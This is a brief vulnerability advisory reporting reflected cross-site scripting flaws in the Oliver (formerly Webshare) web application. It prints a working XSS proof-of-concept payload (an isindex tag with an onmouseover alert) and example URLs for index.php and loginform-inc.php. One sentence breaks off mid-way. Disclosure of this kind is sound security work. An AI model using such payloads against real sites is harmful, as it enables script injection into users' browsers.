Multiple Non-Persistent Cross-Site Scripting vulnerabilities have been
identified in the Oliver (formerly Webshare) web application.
Oliver contains a flaw that allows multiple reflected cross-site

The application does not validate correctly the URL upon submission.
The attacker can inject the malicious javascript code:

<isindex x="javascript:" onmouseover="alert('Rv3Lab XSS')">

http://localhost/oliver/index.php/<isindex x="javascript:" 
onmouseover="alert('Rv3Lab XSS')">
http://localhost/oliver/loginform-inc.php/<isindex x="javascript:" 
onmouseover="alert('Rv3Lab XSS')">

would execute arbitrary script code in a user's browser within the trust
relationship between their browser and the server.
